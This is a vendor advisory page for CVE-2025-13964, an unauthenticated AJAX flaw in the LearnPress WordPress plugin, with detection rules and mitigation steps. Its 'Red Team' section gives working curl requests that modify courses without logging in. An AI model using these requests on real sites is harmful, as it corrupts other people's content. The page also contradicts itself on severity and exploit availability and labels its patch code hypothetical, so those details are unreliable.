CVE-2025-13964
Executive Summary
CVE-2025-13964 is a critical missing authorization vulnerability in the LearnPress – WordPress LMS Plugin for WordPress, affecting all versions up to and including 4.3.2. The flaw resides in the catch_lp_ajax function, which fails to perform a capability check before processing AJAX requests. This allows unauthenticated attackers to modify course contents, including adding, removing, updating, or re-ordering sections and items within courses. The vulnerability has a CVSS score of 5.3 (Medium) but poses a significant risk to the integrity of educational content on WordPress sites using LearnPress. No public exploit code or proof-of-concept is currently available, and no official patch has been released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the LearnPress WordPress plugin, which is distributed through the official WordPress plugin repository and third-party marketplaces. As a WordPress plugin, it is part of the broader WordPress ecosystem and is typically installed via the WordPress admin dashboard or wp-cli. The lack of a patch means that site administrators must rely on manual mitigation measures, such as disabling the plugin or implementing a Web Application Firewall (WAF) rule. The plugin's update mechanism does not currently provide a fix, leaving all installations vulnerable until a patch is released.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
- Base Score: 5.3 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication is needed.
- User Interaction: None (UI:N) – The attacker does not need to trick a user.
- Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
- Confidentiality Impact: None (C:N) – No data is exposed.
- Integrity Impact: Low (I:L) – Course content can be modified, but not arbitrary data.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. While the CVSS score is moderate, the ability for unauthenticated attackers to modify course content can lead to data integrity issues, defacement, or injection of malicious content into educational materials.
Deep Dive & Mechanics
The vulnerability exists in the catch_lp_ajax function, which is responsible for handling AJAX requests for course management operations. In the vulnerable code, this function is registered as a WordPress AJAX action without a capability check, meaning any user (including unauthenticated visitors) can trigger it. The function processes actions such as adding, removing, updating, or re-ordering sections and items within a course. The lack of a current_user_can() or similar capability check allows attackers to manipulate course structures arbitrarily.
The attack flow is as follows:
- An attacker sends a crafted HTTP POST request to the WordPress AJAX endpoint (
/wp-admin/admin-ajax.php) with theactionparameter set tocatch_lp_ajax. - The request includes additional parameters specifying the operation (e.g.,
lp-ajaxwith values likeadd_section,remove_section,update_section_order, etc.). - The
catch_lp_ajaxfunction processes the request without verifying the user's capabilities, directly modifying the database entries for course sections and items.
This vulnerability is particularly dangerous because it can be exploited without any authentication, and the modifications are persistent in the database.
Vulnerable vs. Patched Code
The vulnerable code is located in the learnpress/inc/class-lp-ajax.php file. The catch_lp_ajax function is registered as an AJAX action for both authenticated and unauthenticated users, but the capability check is missing.
Vulnerable Code (<= 4.3.2):
add_action('wp_ajax_catch_lp_ajax', array($this, 'catch_lp_ajax'));
add_action('wp_ajax_nopriv_catch_lp_ajax', array($this, 'catch_lp_ajax'));
public function catch_lp_ajax() {
$action = LP_Request::get('lp-ajax');
// No capability check here
// Process the action...
}
Patched Code (Hypothetical):
add_action('wp_ajax_catch_lp_ajax', array($this, 'catch_lp_ajax'));
// Remove the nopriv action to prevent unauthenticated access
public function catch_lp_ajax() {
if (!current_user_can('edit_courses')) {
wp_die('Unauthorized', 403);
}
$action = LP_Request::get('lp-ajax');
// Process the action...
}
The patch would involve removing the wp_ajax_nopriv_ hook and adding a capability check using current_user_can('edit_courses') or a similar appropriate capability.
Exploitation & Lab Setup
Red Team
To exploit this vulnerability, an attacker would send a crafted POST request to the WordPress AJAX endpoint. Below is an example using curl to add a new section to a course:
curl -X POST https://target-site.com/wp-admin/admin-ajax.php \
-d "action=catch_lp_ajax&lp-ajax=add_section&course_id=1§ion_name=Malicious+Section"
To remove a section:
curl -X POST https://target-site.com/wp-admin/admin-ajax.php \
-d "action=catch_lp_ajax&lp-ajax=remove_section§ion_id=2"
To re-order sections:
curl -X POST https://target-site.com/wp-admin/admin-ajax.php \
-d "action=catch_lp_ajax&lp-ajax=update_section_order&order[]=3&order[]=1&order[]=2"
These requests can be automated to cause widespread damage to course integrity.
Blue Team
To detect exploitation attempts, monitor for unusual AJAX requests to admin-ajax.php with the action=catch_lp_ajax parameter from unauthenticated users. Implement the following detection rules:
- Web Server Logs: Look for POST requests to
/wp-admin/admin-ajax.phpwithaction=catch_lp_ajaxand alp-ajaxparameter. - WAF Rules: Block requests to
admin-ajax.phpwhere theactionparameter iscatch_lp_ajaxand the request is not from an authenticated session. - Honeypot: Create a fake course and monitor for unexpected modifications.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=catch_lp_ajaxin the body. - Presence of
lp-ajaxparameter with values likeadd_section,remove_section,update_section_order,add_item,remove_item,update_item_order.
- POST requests to
- File IOCs:
- Modified entries in the
wp_postmetatable for course sections and items. - Unexpected course content changes in the WordPress database.
- Modified entries in the
- Behavioral IOCs:
- Unauthenticated users triggering AJAX actions that should require administrative privileges.
- Sudden changes to course structures without corresponding admin activity.
Detection Engineering
YARA Rule
rule Detect_CVE_2025_13964_Exploit {
meta:
description = "Detects exploitation attempts for CVE-2025-13964 in LearnPress plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-13964"
strings:
$ajax_action = "action=catch_lp_ajax"
$lp_ajax_param = "lp-ajax="
$add_section = "add_section"
$remove_section = "remove_section"
$update_order = "update_section_order"
condition:
all of ($ajax_action, $lp_ajax_param) and any of ($add_section, $remove_section, $update_order)
}
Sigma Rule
title: Detect CVE-2025-13964 LearnPress AJAX Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated AJAX requests targeting the catch_lp_ajax function in LearnPress
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: POST
cs-uri-query|contains: admin-ajax.php
cs-body|contains: action=catch_lp_ajax
condition: selection
falsepositives:
- Legitimate admin actions (should be authenticated)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-13964 LearnPress AJAX Exploitation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=catch_lp_ajax"; http_client_body; content:"lp-ajax="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the LearnPress plugin until an official patch is released.
- WAF Rule: Implement a Web Application Firewall rule to block requests to
admin-ajax.phpwithaction=catch_lp_ajaxfrom unauthenticated users. - Code Fix: If you have access to the plugin source code, remove the
wp_ajax_nopriv_catch_lp_ajaxhook and add a capability check in thecatch_lp_ajaxfunction. - Monitoring: Enable detailed logging for AJAX requests and monitor for suspicious activity.
- Update: Watch the LearnPress plugin repository for a patched version and apply it as soon as it becomes available.
- Backup: Regularly backup the WordPress database to recover from any unauthorized modifications.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.